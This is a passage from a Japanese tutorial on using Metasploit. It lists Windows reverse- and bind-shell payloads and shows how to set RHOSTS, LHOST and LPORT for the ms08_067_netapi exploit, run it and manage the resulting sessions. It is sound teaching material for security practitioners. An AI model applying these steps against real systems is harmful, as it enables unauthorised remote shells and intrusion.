   78   windows/patchupmeterpreter/reverse_nonx_tcp                          manual  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
   79   windows/patchupmeterpreter/reverse_ord_tcp                           manual  No     Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   80   windows/patchupmeterpreter/reverse_tcp                               manual  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager
   81   windows/patchupmeterpreter/reverse_tcp_allports                      manual  No     Windows Meterpreter (skape/jt Injection), Reverse All-Port TCP Stager
   82   windows/patchupmeterpreter/reverse_tcp_dns                           manual  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (DNS)
   83   windows/patchupmeterpreter/reverse_tcp_rc4                           manual  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   84   windows/patchupmeterpreter/reverse_tcp_uuid                          manual  No     Windows Meterpreter (skape/jt Injection), Reverse TCP Stager with UUID Support
   85   windows/pingback_bind_tcp                                            manual  No     Windows x86 Pingback, Bind TCP Inline
   86   windows/pingback_reverse_tcp                                         manual  No     Windows x86 Pingback, Reverse TCP Inline
   87   windows/shell/bind_hidden_ipknock_tcp                                manual  No     Windows Command Shell, Hidden Bind Ipknock TCP Stager
   88   windows/shell/bind_hidden_tcp                                        manual  No     Windows Command Shell, Hidden Bind TCP Stager
   89   windows/shell/bind_ipv6_tcp                                          manual  No     Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)
   90   windows/shell/bind_ipv6_tcp_uuid                                     manual  No     Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   91   windows/shell/bind_named_pipe                                        manual  No     Windows Command Shell, Windows x86 Bind Named Pipe Stager
   92   windows/shell/bind_nonx_tcp                                          manual  No     Windows Command Shell, Bind TCP Stager (No NX or Win7)
   93   windows/shell/bind_tcp                                               manual  No     Windows Command Shell, Bind TCP Stager (Windows x86)
   94   windows/shell/bind_tcp_rc4                                           manual  No     Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   95   windows/shell/bind_tcp_uuid                                          manual  No     Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)
   96   windows/shell/reverse_ipv6_tcp                                       manual  No     Windows Command Shell, Reverse TCP Stager (IPv6)
   97   windows/shell/reverse_nonx_tcp                                       manual  No     Windows Command Shell, Reverse TCP Stager (No NX or Win7)
   98   windows/shell/reverse_ord_tcp                                        manual  No     Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
   99   windows/shell/reverse_tcp                                            manual  No     Windows Command Shell, Reverse TCP Stager
   100  windows/shell/reverse_tcp_allports                                   manual  No     Windows Command Shell, Reverse All-Port TCP Stager
   101  windows/shell/reverse_tcp_dns                                        manual  No     Windows Command Shell, Reverse TCP Stager (DNS)
   102  windows/shell/reverse_tcp_rc4                                        manual  No     Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   103  windows/shell/reverse_tcp_uuid                                       manual  No     Windows Command Shell, Reverse TCP Stager with UUID Support
   104  windows/shell/reverse_udp                                            manual  No     Windows Command Shell, Reverse UDP Stager with UUID Support
   105  windows/shell_bind_tcp                                               manual  No     Windows Command Shell, Bind TCP Inline
   106  windows/shell_hidden_bind_tcp                                        manual  No     Windows Command Shell, Hidden Bind TCP Inline
   107  windows/shell_reverse_tcp                                            manual  No     Windows Command Shell, Reverse TCP Inline
   108  windows/speak_pwned                                                  manual  No     Windows Speech API - Say "You Got Pwned!"
   109  windows/upexec/bind_hidden_ipknock_tcp                               manual  No     Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
   110  windows/upexec/bind_hidden_tcp                                       manual  No     Windows Upload/Execute, Hidden Bind TCP Stager
   111  windows/upexec/bind_ipv6_tcp                                         manual  No     Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
   112  windows/upexec/bind_ipv6_tcp_uuid                                    manual  No     Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   113  windows/upexec/bind_named_pipe                                       manual  No     Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
   114  windows/upexec/bind_nonx_tcp                                         manual  No     Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   115  windows/upexec/bind_tcp                                              manual  No     Windows Upload/Execute, Bind TCP Stager (Windows x86)
   116  windows/upexec/bind_tcp_rc4                                          manual  No     Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   117  windows/upexec/bind_tcp_uuid                                         manual  No     Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
   118  windows/upexec/reverse_ipv6_tcp                                      manual  No     Windows Upload/Execute, Reverse TCP Stager (IPv6)
   119  windows/upexec/reverse_nonx_tcp                                      manual  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   120  windows/upexec/reverse_ord_tcp                                       manual  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   121  windows/upexec/reverse_tcp                                           manual  No     Windows Upload/Execute, Reverse TCP Stager
   122  windows/upexec/reverse_tcp_allports                                  manual  No     Windows Upload/Execute, Reverse All-Port TCP Stager
   123  windows/upexec/reverse_tcp_dns                                       manual  No     Windows Upload/Execute, Reverse TCP Stager (DNS)
   124  windows/upexec/reverse_tcp_rc4                                       manual  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   125  windows/upexec/reverse_tcp_uuid                                      manual  No     Windows Upload/Execute, Reverse TCP Stager with UUID Support
   126  windows/upexec/reverse_udp                                           manual  No     Windows Upload/Execute, Reverse UDP Stager with UUID Support
   127  windows/vncinject/bind_hidden_ipknock_tcp                            manual  No     VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
   128  windows/vncinject/bind_hidden_tcp                                    manual  No     VNC Server (Reflective Injection), Hidden Bind TCP Stager
   129  windows/vncinject/bind_ipv6_tcp                                      manual  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   130  windows/vncinject/bind_ipv6_tcp_uuid                                 manual  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   131  windows/vncinject/bind_named_pipe                                    manual  No     VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
   132  windows/vncinject/bind_nonx_tcp                                      manual  No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   133  windows/vncinject/bind_tcp                                           manual  No     VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
   134  windows/vncinject/bind_tcp_rc4                                       manual  No     VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   135  windows/vncinject/bind_tcp_uuid                                      manual  No     VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   136  windows/vncinject/reverse_hop_http                                   manual  No     VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   137  windows/vncinject/reverse_ipv6_tcp                                   manual  No     VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
   138  windows/vncinject/reverse_nonx_tcp                                   manual  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   139  windows/vncinject/reverse_ord_tcp                                    manual  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   140  windows/vncinject/reverse_tcp                                        manual  No     VNC Server (Reflective Injection), Reverse TCP Stager
   141  windows/vncinject/reverse_tcp_allports                               manual  No     VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   142  windows/vncinject/reverse_tcp_dns                                    manual  No     VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
   143  windows/vncinject/reverse_tcp_rc4                                    manual  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   144  windows/vncinject/reverse_tcp_uuid                                   manual  No     VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
```

</details>

`set`コマンドを使用して必要に応じてモジュールのパラメータを設定します。
RHOSTSパラメータにターゲットシステムのIPアドレスを設定する場合は、以下のコマンドを実行します。

- モジュールのパラメータ設定
`msf5> set ＜設定項目＞ ＜設定値＞`

```console
msf5 exploit(windows/smb/ms08_067_netapi) > set rhosts 1.2.3.4
rhosts => 1.2.3.4
```

パラメータを設定後、`show options`コマンドを使用して値が正しく設定されていることを確認できます。

よく使用されるパラメータは下記の通りです。

- RHOSTS：ターゲットシステムのIPアドレスとして単一のIPアドレスまたはネットワーク範囲を設定できます。CIDR（クラスレスドメイン間ルーティング）表記`（/24,/16など）`またはネットワーク範囲`（10.10.10.x – 10.10.10.y）`をサポートします。また、`file：/path/of/the/target_file.txt`ファイルを使用し、ターゲットを1行に1つずつリストとして使用することもできます。
- RPORT：脆弱なアプリケーションが実行されているターゲットシステムのポート。
- PAYLOAD：エクスプロイトで使用するペイロード。
- LHOST： 攻撃側のマシン（Kali Linux）のIPアドレス。
- LPORT：リバースシェルが接続するために使用するポート。これは攻撃側のマシンのポートであり、他のアプリケーションで使用されていない任意のポートに設定できます。
- SESSION： Metasploitを使用してターゲットシステムに確立された各接続には、セッションIDがあります。これは、既存の接続を使用してターゲットシステムに接続する悪用後のモジュールで使用します。

再度、`set`コマンドを使用するとパラメータを上書きします。また、`unset`コマンドを使用して任意のパラメータをクリアしたり、`unset all`コマンドを使用してすべての設定パラメータをクリアしたりすることもできます。 

設定は変数になっているため、グローバルに全てのモジュールに同一のパラメータを設定したい場合は`setg`コマンドを使用して設定することができます。また、`unsetg`コマンドですべての設定パラメータをクリアします。 

#### モジュール（エクスプロイト）の実行
モジュール（エクスプロイト）の実行は以下のコマンドを実行します。また、`-z`オプションを付与すると、バックグラウンドで実行します。

- モジュール（エクスプロイト）の実行
`exploit`

エクスプロイトが成功した場合、セッションが作成されます。セッションが作成されるということはターゲットシステムとの間に確立された通信が確立されたことを意味します。`sessions`コマンドを実行することで既存のセッションを確認できます。

# おわりに
物事の考え方として何もしなければ何も変わりません。

例えばツールなどを導入し、システムにおける脆弱性を可視化しても対応しない限り、根本的な問題解決にはなりません。

社会の仕組みとして道路交通法が存在しない場合、事故が起きる確率は高くなります。
企業においても情報資産の取り扱いなどセキュリティに関するルールが存在しない場合、その分損失的なリスクを上げる確率が上がりやすくなります。

抽象的かつ広範囲な課題は本質的な思考が求められます。

## 参考
- [脆弱性対策](https://www.ipa.go.jp/security/vuln/index.html)
- [TENABLE RESEARCH](https://www.tenable.com/research)

`